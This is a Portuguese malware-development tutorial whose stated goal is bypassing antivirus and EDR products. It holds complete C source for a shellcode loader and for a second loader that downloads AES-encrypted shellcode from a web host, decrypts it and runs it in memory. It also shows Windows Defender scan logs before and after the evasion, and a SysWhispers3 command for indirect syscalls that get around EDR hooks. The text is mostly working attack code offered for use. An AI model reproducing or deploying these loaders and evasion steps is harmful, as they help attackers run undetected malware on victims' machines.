1. Introdução

Soluções EDR aka (Endpoint Detection and Response) são uma evolução dos softwares de segurança que conhecemos como antivírus, Enquanto soluções AV clássicas dependem principalmente de assinaturas estáticas, os EDRs modernos empregam técnicas avançadas como hooking de APIs, análise comportamental, isolamento de hosts e classificação de detecções baseadas no framework MITRE ATT&CK

nesse artigo demonstrarei como burlar EDRs usando técnicas evasivas na criação deu seu loader personalizado

2. Analise Tecnica

em um ataque real é comun o uso de "Loaders" e "Droppers" que carregam o malware principal passando por 'estagios' esses estagios podem variar dependendo da complexidade do malware algo que conhecemos como Chain ou Cadeia isso é nescesario para nosso ataque não seja interrompido por um AV/EDRs rodando em segundo plano

aqui abaixo está um loader shellcode super simples:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

  // abre o  calc.exe
unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main() {
    void* exec_mem;
    DWORD oldProtect;
    HANDLE hThread;

    exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        printf("Falha ao alocar memória.\n");
        return -1;
    }
    memcpy(exec_mem, shellcode, sizeof(shellcode));
    VirtualProtect(exec_mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("Falha ao criar thread.\n");
        return -1;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return 0;
}

o Loader acima aloca memoria no proprio processo, copia o shellcode para essa região e define permissão de RWX (Leitura, Escrita e Execução), apos isso inicia uma Thread passando essa região como endereço.

vamos scannear o binario e ver o que o AV acha disso (estou usando uma ferramenta minha para analisar o binario):

C:\Users\mount\Desktop\>avfind.exe -defender -path shit-loader.exe
2025/03/29 15:13:57 Scanning the file with Windows Defender: shit-loader.exe
2025/03/29 15:13:57 Threats found in the file. Starting the binary search
2025/03/29 15:13:57 Isolated detected bytes at offset 0x272F [10031/11776]
00000000  44 8b 40 24 49 01 d0 66  41 8b 0c 48 44 8b 40 1c  |D.@$I..fA..HD.@.|
00000010  49 01 d0 41 8b 04 88 48  01 d0 41 58 41 58 5e 59  |I..A...H..AXAX^Y|

2025/03/29 15:13:57 Found threat: Trojan:Win64/Meterpreter.E
2025/03/29 15:13:57 Found threat: Trojan:Win64/Rozena.AMBE!MTB

o Defender acabou de analisar o loader e detectou que essa sequencia de bytes no codigo é uma ameaça...

olhando no IDA pro e procurando por essa sequencia hexadecimal vamos encontrar o nosso shellcode de calculadora

map

Pontos críticos de detecção: Vamos melhorar um pouco nosso codigo.

Obfuscation + Web Estagio

oque mudou?

- payload com AES
- Chave de Decriptação
- Estagio Web

vamos mudar o codigo para que ele interaja com o shellcode baixando da internet e decriptando em tempo de execução, isso vai impedir que o binario tenha uma entropia alta

#include <windows.h>  
#include <stdio.h>    
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <psapi.h>
#include <winhttp.h>
#include <wincrypt.h>
#pragma comment(lib, "winhttp.lib")
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#define okay(msg, ...) printf("[+] " msg , ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg , ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg , ##__VA_ARGS__)

void printMemoryInfo(void* address, const char* name) {
    MEMORY_BASIC_INFORMATION mbi;
    VirtualQuery(address, &mbi, sizeof(mbi));
    printf("[+] %s: %p\n", name, address);
    info("    Base Address: %p\n", mbi.BaseAddress);
    info("    Allocation Base: %p\n", mbi.AllocationBase);
    info("    Allocation Protect: 0x%X\n", mbi.AllocationProtect);
    info("    Region Size: %zu bytes\n", mbi.RegionSize);
    info("    State: 0x%X (MEM_COMMIT=0x1000, MEM_RESERVE=0x2000)\n", mbi.State);
    info("    Protect: 0x%X (PAGE_EXECUTE=0x10, PAGE_READWRITE=0x04)\n", mbi.Protect);
    info("    Type: 0x%X (MEM_PRIVATE=0x20000, MEM_IMAGE=0x1000000)\n\n", mbi.Type);
}

const LPCTSTR url = L"http://192.168.0.10/x";


const unsigned char key[] = { 
     0x51, 0x21, 0x35, 0x0a, 0x23, 0xbf, 0xa8, 0xbc, 0x99, 0xf1, 0x20, 0x3a, 0x3c, 0xc4, 0x92, 0x8e
};


BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
    BOOL bSTATE = TRUE;
    HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL;
    DWORD dwBytesRead = 0;
    SIZE_T sSize = 0;
    PBYTE pBytes = NULL, pTmpBytes = NULL;

    URL_COMPONENTS urlComp;
    WCHAR szHostName[256] = { 0 };
    WCHAR szUrlPath[256] = { 0 };

    ZeroMemory(&urlComp, sizeof(urlComp));
    urlComp.dwStructSize = sizeof(urlComp);
    urlComp.lpszHostName = szHostName;
    urlComp.dwHostNameLength = sizeof(szHostName) / sizeof(szHostName[0]);
    urlComp.lpszUrlPath = szUrlPath;
    urlComp.dwUrlPathLength = sizeof(szUrlPath) / sizeof(szUrlPath[0]);

    if (!WinHttpCrackUrl(szUrl, 0, 0, &urlComp)) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    hSession = WinHttpOpen(L"", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (hSession == NULL) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    hConnect = WinHttpConnect(hSession, urlComp.lpszHostName, urlComp.nPort, 0);
    if (hConnect == NULL) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    hRequest = WinHttpOpenRequest(hConnect, L"GET", urlComp.lpszUrlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, (urlComp.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0);
    if (hRequest == NULL) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    if (!WinHttpReceiveResponse(hRequest, NULL)) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
    if (pTmpBytes == NULL) {
        bSTATE = FALSE; goto _EndOfFunction;
    }

    while (TRUE) {
        if (!WinHttpReadData(hRequest, pTmpBytes, 1024, &dwBytesRead)) {
            bSTATE = FALSE; goto _EndOfFunction;
        }

        if (dwBytesRead == 0) {
            break;
        }

        sSize += dwBytesRead;

        if (pBytes == NULL)
            pBytes = (PBYTE)LocalAlloc(LPTR, sSize);
        else
            pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);

        if (pBytes == NULL) {
            bSTATE = FALSE; goto _EndOfFunction;
        }

        memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
        memset(pTmpBytes, '\0', dwBytesRead);
    }

    *pPayloadBytes = pBytes;
    *sPayloadSize = sSize;

_EndOfFunction:
    if (hSession) WinHttpCloseHandle(hSession);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (pTmpBytes) LocalFree(pTmpBytes);
    return bSTATE;
}

int AESDecrypt(char* payload, unsigned int payload_len, char* key, SIZE_T keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        return -1;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        return -1;
    }
    if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
        return -1;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        return -1;
    }
    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, payload, &payload_len)) {
        return -1;
    }
    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);
    return 0;
}

int main() {
    PBYTE EncShellcode = NULL;
    SIZE_T fileSize = 0;
    PVOID exec_mem = NULL;
    HANDLE hThread = NULL;
    NTSTATUS status;
    DWORD oldProtect = 0;
    // 1. Baixar o shellcode
    if (!GetPayloadFromUrl(url, &EncShellcode, &fileSize)) {
        return -1;
    }
    okay("Encriptado", EncShellcode, fileSize);
    okay("Shellcode criptografado carregado da URL.\n");
    printMemoryInfo(EncShellcode, "EncShellcode");
    // 2. Descriptografar o shellcode
    AESDecrypt((char*)EncShellcode, fileSize, key, sizeof(key));

    exec_mem = VirtualAlloc(0, sizeof(EncShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        printf("Falha ao alocar memória.\n");
        return -1;
    }
    memcpy(exec_mem, EncShellcode, fileSize);
    VirtualProtect(exec_mem, fileSize, PAGE_EXECUTE_READ, &oldProtect);
    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
    if (hThread == NULL) {
        printf("Falha ao criar thread.\n");
        return -1;
    }
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return 0;

}
C:\Users\mount\Desktop\maldev\avidentifier>avfind.exe -defender -path good-loader.exe
2025/03/29 16:09:30 Scanning the file with Windows Defender: good-loader.exe
2025/03/29 16:09:30 Failed to scan the file with Windows Defender: NoThreatFound

Eeee bingo! conseguimos burlar o AV/Defender porem ainda será detectavel em um EDR isso acontece pelo uso das funções VirtualAlloc, VirtualProtect e CreateThread que são muito usados em malware e por isso são interceptadas por ele usando uma tecnica chamada "API HOOKING"

map

API HOOKING

Um fluxo normal de chamada de API no windows funciona da seguinte forma:

CreateRemoteThread() ---> NtCreateThreadEx() ---> SYSCALL

a função CreateRemoteThread chama a NtCreateThreadEx hospedada na ntdll.dll que por fim chama a syscall Muitos EDRs monitoram chamadas de NTAPIS usando hooks de trampolim para verificar quando uma função é chamada por um programa e quais argumentos ele passa

CreateRemoteThread() ---> NtCreateThreadEx() ----> SYSCALL 
                                   |      
                                   |       
                                   |      
                                EDR.DLL

Podemos ignorar isso chamando a syscall indiretamente utilizando o SysWhispers3, que gera stubs para chamadas de syscall', evitando hooks de API. Isso permite que o programa interaja com o kernel sem passar por funções monitoradas pelo EDR. Ao utilizar SysWhispers, é possível gerar cabeçalhos e implementações que encapsulam chamadas de syscall, permitindo que o desenvolvedor invoque funções do kernel de forma discreta. evitando detecções baseadas em hooks de API.

map

Ignorando a solução EDR

Vamos instalar o OpenEDR da xcitium para a POC final. https://www.openedr.com/

map

vamos então usar o github.com/klezVirus/SysWhispers3 e criar um loader com APC e indirect syscalls

python syswhispers.py --functions NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueueApcThread, NtResumeThread, NtWaitForSingleObject -o syscalls_mem

codigo final: loader.c

map